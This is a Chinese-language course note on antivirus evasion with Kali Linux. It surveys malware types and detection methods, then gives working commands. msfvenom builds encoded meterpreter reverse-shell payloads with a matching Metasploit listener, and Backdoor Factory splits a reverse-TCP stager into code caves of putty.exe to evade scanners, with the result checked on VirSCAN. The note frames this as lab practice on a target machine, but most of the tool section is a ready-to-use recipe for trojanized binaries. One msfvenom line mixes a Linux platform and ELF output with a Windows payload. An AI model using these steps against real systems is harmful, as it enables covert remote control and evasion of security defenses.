Kali Linux渗透测试——免杀基础

笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程

一、基础概念

（一）恶意软件

在用户非自愿情况下执行安装，具有控制、窃取、勒索、攻击等恶意功能的软件，基本分类如下：

• 病毒：独立存在或者插入在计算机程序中的恶意代码，可通过隐蔽复制进行传播
• 蠕虫：可以通过网络进行传播的病毒
• 木马：通过伪装诱使用户运行程序，达到远程控制、破坏系统等目的，一般不会通过复制传播，不会感染其他文件，RAT（Remote Access Trojan）即远程访问木马
• 键盘记录：自动记录键盘键入内容
• 僵尸程序：利用感染主机作为僵尸机，在未授权情况下对第三方发起攻击或完成恶意操作
• 流氓软件：跟踪上网行为，完成广告弹窗、浏览器劫持、泄漏隐私信息等非授权操作
• 勒索软件：限制系统文件资源访问，直至向攻击者做出妥协
• 广告程序：插入未经授权的广告，赚取黑色利润

随着技术发展其分类边界愈加模糊，恶意软件常具备以上多种特点。常见RAT软件包括：灰鸽子、波尔、黑暗彗星、潘多拉、NanoCore等。

（二）防护手段

恶意软件最主要的防护手段包括杀毒/防毒软件、防火墙、IPS、IDS等产品，这些产品都具有AV（Anti-Virus）功能，其检测原理大致分为三类：

• 静态检测：基于二进制文件中特征字符的黑名单检测方法，包括检测恶意软件本身的特征字符，以及加密工具的特征字符，优点是快速方便，对已知的特征字符查找准确率较高，缺点是容易被0day木马和新型加密绕过。

• 动态检测：基于木马程序执行时的特征行为进行检测，可以弥补静态检测不能查出0day木马和新型加密的缺陷，但该技术尚未成熟，存在误杀漏杀情况。

• 日志检测：基于大量日志文件分析并建立模型来检测出异常文件，优点是当日志分析量较大时准确性较高，缺点是当日志量较小时难以建立正确模型，存在误杀漏杀情况，而且分析巨量日志文件使得处理能力和效率较低。

（三）免杀技术

攻击者可以通过转换恶意软件的方法绕过安全防护机制，基本方法如下：

• 绕过二进制文件的特征字符检测：在已有代码基础上替换、擦除、篡改，或者编写新的恶意代码
• 加密：使得二进制文件的特征字符不可读，可以在运行时分片分段解密执行，注入进程或AV不检查的白名单文件中
• 内存运行：将恶意代码置于内存运行，以绕过一些基于文件系统进行检测的AV程序

注意：由于AV不仅检查恶意软件本身的特征字符，还会检查加密工具的特征字符，所以恶意软件在经过一些 知名加密工具 加密后，可能导致被AV检测出的可能性会更大。编写私有恶意软件，或使用独有加密工具可以实现更好的免杀功能。

单一AV厂商的病毒库很难达到100%全覆盖，一些网站集成多种AV检测引擎，提供更好的病毒检测功能，甚至某些AV软件没有自己的病毒库，直接调用这些网站提供的接口：

• 与AV厂商共享检测信息：https://www.virustotal.com/，http://www.virscan.org/
• 不与AV厂商共享检测信息：http://nodistribute.com/，http://viruscheckmate.com/check/

二、工具介绍

（一）Msfvenom

基于Metasploit的木马脚本生成工具，基本使用方法如下：

# 首先生成木马脚本
msfvenom --platform linux -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.11.129 LPORT=4444 -b "0" -e x86/shikata -i 9 -f elf -o file.bin
# -p：选择payload
# -e：编码方式
# -b：去掉坏字符
# -i：迭代编码次数
# -f：生成文件格式
# -o：生成文件名称
# LHOST、LPORT：payload运行后要回连的主机和端口，也是本机要侦听的端口

# 然后运行msfconsole，在本机开启侦听端口
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp 
set LHOST 10.10.11.129
set LPORT 4444
run

# 最后上传木马脚本并在靶机运行，取得回连shell，获取控制权

可以在已有模板插入恶意代码，不破坏原程序的功能和使用，每次运行都被重新激活运行：

msfvenom -a x64 --platform windows -p windows/shell/reverse_tcp LHOST=10.10.11.151 LPORT=4444 -b "\x00" -f exe -o 1.exe
# -x和-k参数一般同时使用
# -x：表示与现有软件绑定在一起
# -k：表示在现有程序基础上另开一个线程运行，这样才不会覆盖原程序

注意：类似Msfvenom这种知名木马脚本生成工具，其处理文件的特征字符串已被绝大多数AV软件收录，所以查杀率很高，实际应用中免杀效果并不理想。

（二）Veil-evasion

1.基本介绍

属于Veil-framework框架的一部分，由Python语言编写，用于将已有payload做加密、编码等变换，从而实现免杀，具有以下特点：

• 集成msf payload，常配合Metasploit使用
• 集成多种进程注入技术
• 集成多种第三方工具如：Hypersion、PEScrambler、BackDoor Factory等
• 集成多种开发打包运行环境如：Python、C#、C等

2.使用方法

通过veil-evasion命令运行，根据菜单向导配置payload，然后generate生成payload，如下图所示：

图1 Veil-Evasion运行界面

默认生成的payload保存在/var/lib/veil-evasion/output/compiled/目录下，配合其使用的服务端命令以rc脚本文件的形式保存在/var/lib/veil-evasion/output/handlers/目录中，用于结合Metasploit使用，可以通过msfconsole -r payload.rc命令调用脚本文件。

（三）Backdoor-factory

1.基本介绍

由python语言开发的后门工具，适用于制作或绑定Windows PE和Linux ELF木马脚本文件。BDF可将shellcode代码patch进模板程序，躲避AV查杀，可以不破坏模板程序的功能和使用，每次运行文件shellcode都被重新激活运行，类似Metasploit，但存在一定区别如下：

• Metasploit：在原有二进制文件的基础上，增加完整shellcode片段，跳转执行。
• BDF：将shellcode划分不同大小代码块，放置于模板文件的代码缝隙中，shellcode在不同的代码缝隙跳转执行。代码缝隙指二进制文件中超过两个字节的连续0x00区域（代码片段间区域），代码缝隙是由编译器形成的，不同编译器对同一源文件编译的结果不同。

注意：存在一定概率文件会被patch坏掉，某些受保护的二进制程序也无法进行patch。

2.使用方法

模板文件以putty.exe为例，注意这里有个坑，用在kali中用apt install下载的backdoor-factory不能识别可执行文件，提示putty.exe not a PE File，我们需要在GitHub自行下载，并安装capstone包：

git clone https://github.com/secretsquirrel/the-backdoor-factory.git
cd the-backdoor-factory
./install.py
pip3 install capstone

./backdoor.py -f ~/Desktop/putty.exe -S
# 检查putty.exe是否支持代码注入

./backdoor.py -f ~/Desktop/putty.exe -s show
# 显示可插入putty.exe的payload

./backdoor.py -f ~/Desktop/putty.exe -c 
# 查看putty.exe的代码缝隙

将payload作为整个section添加到文件末尾成功率高，但是免杀效果差；将payload划分为多个section添加到文件代码缝隙中成功率低，但是免杀效果好。

./backdoor.py -f ~/Desktop/putty.exe -s reverse_tcp_stager_threaded -H 10.10.11.129 -P 4444
# 默认命令将payload作为整个section插入到文件一个代码缝隙中

./backdoor.py -f ~/Desktop/putty.exe -s reverse_tcp_stager_threaded -H 10.10.11.129 -P 4444 -J
# -J：将payload划分为多个section添加到文件代码缝隙中

./backdoor.py -f ~/Desktop/putty.exe -s reverse_tcp_stager_threaded -H 10.10.11.129 -P 4444 -a 
# -a：将payload作为整个section添加到文件末尾

payload插入后将putty.exe保存在backdoored目录下，将其上传至目标靶机，结合Metasploit使用：

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
# 注意payload要选择x64平台meterpreter，否则可能运行失败
set LHOST 10.10.11.129
set LPORT 4444
run -j

最后在靶机中运行putty.exe，取得shell控制权。将运用-a参数生成的putty.exe传到VirSCAN检测，效果还是可以的，检测结果如下图所示：

图2 VirSCAN检测结果